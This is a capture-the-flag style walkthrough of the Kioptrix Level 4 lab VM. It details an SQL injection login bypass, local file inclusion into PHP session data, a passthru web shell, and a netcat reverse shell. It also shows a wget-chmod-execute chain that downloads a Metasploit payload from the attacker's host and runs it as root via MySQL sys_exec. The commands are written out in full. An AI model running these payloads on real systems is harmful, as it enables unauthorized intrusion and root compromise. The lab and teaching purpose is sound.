Kioptrix - Level 4 (Local File Inclusion)

Kioptrix is a "boot-to-root" operating system which has purposely designed weakness(es) built into it. The user's end goal is to interact with system using the highest user privilege they can reach.

There are other vulnerabilities using different techniques to gain access into this box such as breaking through a limited shell as well as backdooring via MySQL injection.

Kioptrix Logo

Links

Watch video on-line:

Download video: http://download.g0tmi1k.com/videos_archive/Kioptrix-Level_4_(Local_File_Inclusion).mp4

Method

  • Scanned network for the target [Netdiscover]
  • Port scanned the target [UnicornScan]
  • Banner grabbed the services running on the open port(s) [NMap]
  • Interacted with the web server & logged into the system anonymously [Firefox & Burp Proxy]
  • Discovered & exploited an local file inclusion vulnerably to enumerate possible users. [Burp Proxy]
  • Exploited the same local file inclusion to fingerprint the web service & inject code into the PHP session data [Burp Proxy]
  • Created a web shell on the target [Burp Proxy & Netcat] (Limited user)
  • Created a shell and to escalated privileges executed it from a service running as superuser [Burp Proxy & Metasploit]
  • Accessed the 'flag' [Text file]

Tools

Walkthrough

The scope of this attack is a certain target; therefore the attacker needs to discover it on their network. Scanning with "Netdiscover" produces a list of all IP's & MAC addresses and known vendors which are currently connected to the network. The attacker has prior knowledge and knows the target hasn't spoofed their MAC address as well as being inside a VM. Due to only one vendor which relates to a VM, VMware, they successfully identified the target.

By having the target's IP address, the attacker now focuses specifically on the target. The next thing they do is a port scan of every TCP & UDP port. "UnicornScan" shows five open ports; TCP 22 (SSH), TCP 80 (HTTP), TCP 139 (NetBIOS), TCP 445 (SMB) & UDP 137 (NetBIOS). "nmap" verifies the port scan results and at the same time the attacker takes advantage of nmap's inbuilt scripting engine, which detects what services are listening on each port, banner grab (which could possibly identify the software being used & its version) as well as fingerprinting the operating system. Depending on the outcome produced by the scan, nmap could decide to execute any other script(s). In this instance various samba scripts were executed to automatically enumerate it. Nmap fingerprintted the operating system as Linux 2.6.9-2.6.31.

By interacting with the web service using "firefox" the attacker is able to see if any web application is running. The web server responds and presents them with a login screen.

The attacker starts "Burp Proxy" and configures it. Burp is able to monitor & interpret the traffic between the attacker and the target. To do so, firefox's proxy settings are altered to direct the traffic into burp. Now when the attacker tries to login, burp has captured the request. Using burp's "repeater" function the attacker is able to manipulate the request as they wish. The attacker repeats the same incorrect login to verify the setup and gain a "base line" to compare results. On the next request the attacker has altered the password value to reflex a 'standard common' SQL statement which affects login screens by always returning true. Upon the successful request to login, a cookie value has been set, 'PHPSESSID', which is used for storing values in between pages (even if they are not always on the same domain!) for a certain amount of time allowing for every user to be remembered. The attacker attaches the cookie value, repeats the login request and follows the redirect.

After bypassing the login system, the attacker is presented with the 'members' page, however the attacker isn't using a 'correct' username, thus the requested information is invalid which is why the attacker is given an error message. This is an error message produced from the code that is being executed on the page. The attacker repeats the last request, but replaces the username with a known filename (the login page 'index.php'). This request caused an error, however the error message produced is from the backend engine itself, PHP, saying that it wasn't able to include the file (along with the filename requested). From this error message the attacker notices how the code has altered the request from the original:

Requested username: index.php

Processed username: index.php/index.php.php

The attacker wishes for only the first part to be processed by the code, instead of adding a "/" (to signal that its directory) along with the value again and adding ".php" at the end (as a file extension). The attacker can achieve their aim by adding "" afterwards which is a NUL meta character which signals it's the end, thus the code does not process anything else afterwards. The attacker tries the updated request again, and is able to see that the login screen is included.

The attacker uses this vulnerability to collect as much as possible to help enumerate the system, for example, discovering which users have access into the system that could allow for the attacker to login the Web UI as a valid user. Upon requesting the standard 'passwd' file for a Linux operating system (which has been identified multiple times), the requested 'username' (aka filename) doesn't match up to what was processed and produces an error message. It's in the same format as the first one, which means there is some type of filtering being processed on the 'username' value that is being requested. After inspecting the filename in the error message the attacker notices, the only thing which is incorrect is 'etc' as it appears it's been taken out. The attacker repeats the request again and duplicate '/etc/' in the filename to see if that has an effect. The target responds and includes the file, giving the attacker a list of valid users on the system. This means the filtering system appears to search and replace 'etc' once with a blank value. Editor's note: The users in the web service might not always match up to the system itself or vice versa as well as having a more complex filtering system!). The attacker progresses by fingerprinting the web service itself. They soon discover the command used to start the service, as arguments could be used to specify other values other than the default ones (E.g. using a different configuration file rather than the default one). As it turns out the service was executed without any command line arguments, therefore it's using the default configuration paths. Editor's note: I skipped out analysing the configuration file to see if the PHP sessions values were written to a file via 'session_save_path'. Another common method is to use the log files (e.g. insert code into the user-agent field), however I was unable to read these as www-data didn't have permission to read them. I didn't try using environ!

Still in the "/proc" folder as it is directly reading a range of memory, the attacker is able to isolate the 'current' process by using '/self/' (which will be different for each program. Else use the />PID</), the attacker is able to read the 'file descriptions', to see if they are pointing to anything 'interesting'. The attacker uses Burp's "intruder" feature which requests and increments the FD value. Upon expecting the results, the attacker notices a few "permission denied" (Access to the log files) as well as "file not found" messages until #9, which matches the PHP session data.

The attacker goes back to the login screen, removes the cookie value thus making it appeared that they are not logged into the system then after the injected password valued, then include a PHP command to view the configuration settings. Because of "-- -" at the end of the SQL statement, it signals to the database not to process anything else afterwards. However this doesn't apply to PHP and when the FD value is read this time by the local file inclusion (LFI) it is processed.

The attacker goes back again and this time replaces phpinfo(); with the a PHP statement (passthru) to execute commands and display the output. The result of this, allows the attacker to execute commands locally on the target's system. By locating and using netcat on the local system, the attacker is able to produce a interactive shell on the system.

The attacker then repeats the last injection, however replaces the use of netcat with another binary file. This file is created from the "metasploit framework". This would be necessary if netcat wasn't located on the system. The attacker is able to write a single bash line to download the binary, give it the correct permission to be executed then execute it. Due to the complexity of the statement, the attacker needs to encode the string to make sure the command isn't proceed until it's reached by the PHP function. However...

As the attacker wishes to gain deeper access into the system they can privilege escape by using MySQL. The attacker has already got shell access on the system previously (here and here), and was able to locate the MySQL database credentials. The attacker knew that the values had to be hardcoded into the web application somewhere to allow it to interact with the database. Upon viewing "checklogin.php" in the (default) web root directory, "/var/www/", the attacker sees on line 4 & 5:

$username="root"; // Mysql username

$password=""; // Mysql password

When the attacker collected the credentials at the same time, they noticed that MySQL was being executed as the superuser, root.

So the attacker alters the requested command to control the target to execute from inside MySQL instead of the user. The attacker makes sure the binary file is ready in the web root folder and that it has the necessary permissions. Afterwards the attacker then starts a web server.

Once everything is in place, the attacker makes the request to the target. The request is to the local file include vulnerability, which is using the PHP session data for the code to be included, which causes the web server to execute the given command, which in return instructs itself to download a file, and then execute it using MySQL. This connects back to the attacker given them a remote root shell to the targets system.

Attacker -> LFI -> Session Data -> PHP -> wget -> chmod -> MySQL -> Target -> Attacker

Game over

When they explore root's personal home folder, they notice a text file called "congrats.txt". When the attacker opens it up they see that they have been notified that they have reached the end goal.

Game over...again

Commands

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
netdiscover -r 192.168.0.1/24
us -mT -Iv 192.168.0.4:a -r 3000 -R 3 && us -mU -Iv 192.168.0.4:a -r 3000 -R 3
nmap -p 1-65535 -T4 -A -v 192.168.0.4    # -p 22,80,139,445
BT -> BackTrack -> Vulnerability Assessment -> Web Application Assessment -> Web Application Proxies -> burpsuite    # java -jar /pentest/web/burpsuite/burpsuite_v1.4.01.jar
// Firefox -> Edit -> Preferences -> Advance -> Network -> Settings -> Manual proxy configurations -> 127.0.0.1:8080
// Burp -> Proxy -> Intercept -> Off. Proxy -> Options -> Port: 8080.
BT -> firefox -> 192.168.0.4 -> user:password
// Burp -> target -> site map -> http://192.168.0.4 -> checklogin.php -> Right click: myusername=user&mypassword=password -> Send to repeater
// Burp -> repeater -> 2 -> go                                          # Content-Length: 109. HTTP/1.1:200. (AKA Response doesn't have no phpsessid)
// Burp -> repeater -> 2 -> params -> mypassword: ' or 1=1-- - ->  go   # Content-Length: 429. HTTP/1.1:302. (AKA Response: cookie has a phpsessid value)
// Burp -> repeater -> 2 -> params -> new -> cookie -> PHPSESSID:cec3a2499fb7067f170ccfaca1fb7980
// Burp -> repeater -> 2 -> follow redirect -> follow redirect -> params -> url -> username: index.php -> go
// Burp -> repeater -> 2 -> params -> url -> username: index.php%00 -> go
// Burp -> repeater -> 2 -> params -> url -> username: /etc/passwd%00 -> go
// Burp -> repeater -> 2 -> params -> url -> username: /etc/etc/passwd%00 -> go
// Burp -> repeater -> 2 -> params -> url -> username: /proc/self/cmdline%00 -> go
// Burp -> (toolbar) repeater -> action -> sent to: intruder
// Burp -> intruder -> position -> clear § -> GET /member.php?username=/proc/self/fd/§id%00§ HTTP/1.1
// Burp -> intruder -> payload -> numbers -> from: 0 -> to: 10 -> Step: 1
// Burp -> (toolbar) intruder -> start attack
// Burp -> response  # 9
// Burp -> repeater -> 2 -> < -> < -> < -> < -> < -> < -> < -> remove: PHPSESSID -> mypassword: ' or 1=1-- - <?php phpinfo(); ?> -> go
// Burp -> repeater -> 2 -> params -> new -> cookie -> PHPSESSID:9d64e60834f145250acc4ad08ca3eabc -> go -> follow redirct -> follow redirct
// Firefox -> http://192.168.0.4/member.php?username=/proc/self/fd/9%00
// Burp -> repeater -> 2 -> < -> < -> < -> remove: PHPSESSID -> mypassword: ' or 1=1-- <?php echo "\n\n"; passthru($_GET['cmd']); ?> -> go
// Burp -> repeater -> 2 -> params -> new -> cookie -> PHPSESSID:a513efb8691a7f125a6c80af573eae25 -> go -> follow redirct -> follow redirct
curl --cookie "PHPSESSID=a513efb8691a7f125a6c80af573eae25" "http://192.168.0.4/member.php?username=/proc/self/fd/9%00&cmd=id"
curl --cookie "PHPSESSID=a513efb8691a7f125a6c80af573eae25" "http://192.168.0.4/member.php?username=/proc/self/fd/9%00&cmd=whereis%20netcat"

nc -lvvp 443

curl --cookie "PHPSESSID=a513efb8691a7f125a6c80af573eae25" "http://192.168.0.4/member.php?username=/proc/self/fd/9%00&cmd=/bin/nc.traditional%20192.168.0.192%20443%20-e%20/bin/sh"

id
ls

msfpayload linux/x86/shell_reverse_tcp LHOST=192.168.0.192 LPORT=443 X > back.door
file back.door
ls -lh back.door
python -m SimpleHTTPServer &
msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp LHOST=192.168.0.192 LPORT=443 E

curl --cookie "PHPSESSID=8b26f22bfc390b8ab595f3f3b883777c" "http://192.168.0.4/member.php?username=/proc/self/fd/9%00&cmd=$(php -r "echo urlencode('wget 192.168.0.192:8000/back.door -P /tmp && chmod +x /tmp/back.door && mysql -uroot -e \"SELECT sys_exec(
/tmp/back.door);\"');")" # wget 192.168.0.192:8000/back.door -P /tmp && chmod +x /tmp/back.door && mysql -uroot -e "SELECT sys_exec('/tmp/back.door');"

Notes

  • You need to create a new virtual machine and attach an existing hard drive (kioptrix 4!).
  • The target uses DHCP to obtain an IP address.
  • Some mistakes in the video are more obvious. (e.g. had to record a section and text didn't fully line up).
  • The MySQL credentials had already been acquired along with knowing the attackers IP address.

Songs: Headlock (High Contrast Remix) - Imogen Heap & Bliss (Cahb) - Seismix

Video length: 10:10

Capture length: 40:55

Blog Post: https://blog.g0tmi1k.com/2012/02/kioptrix-level-4-local-file/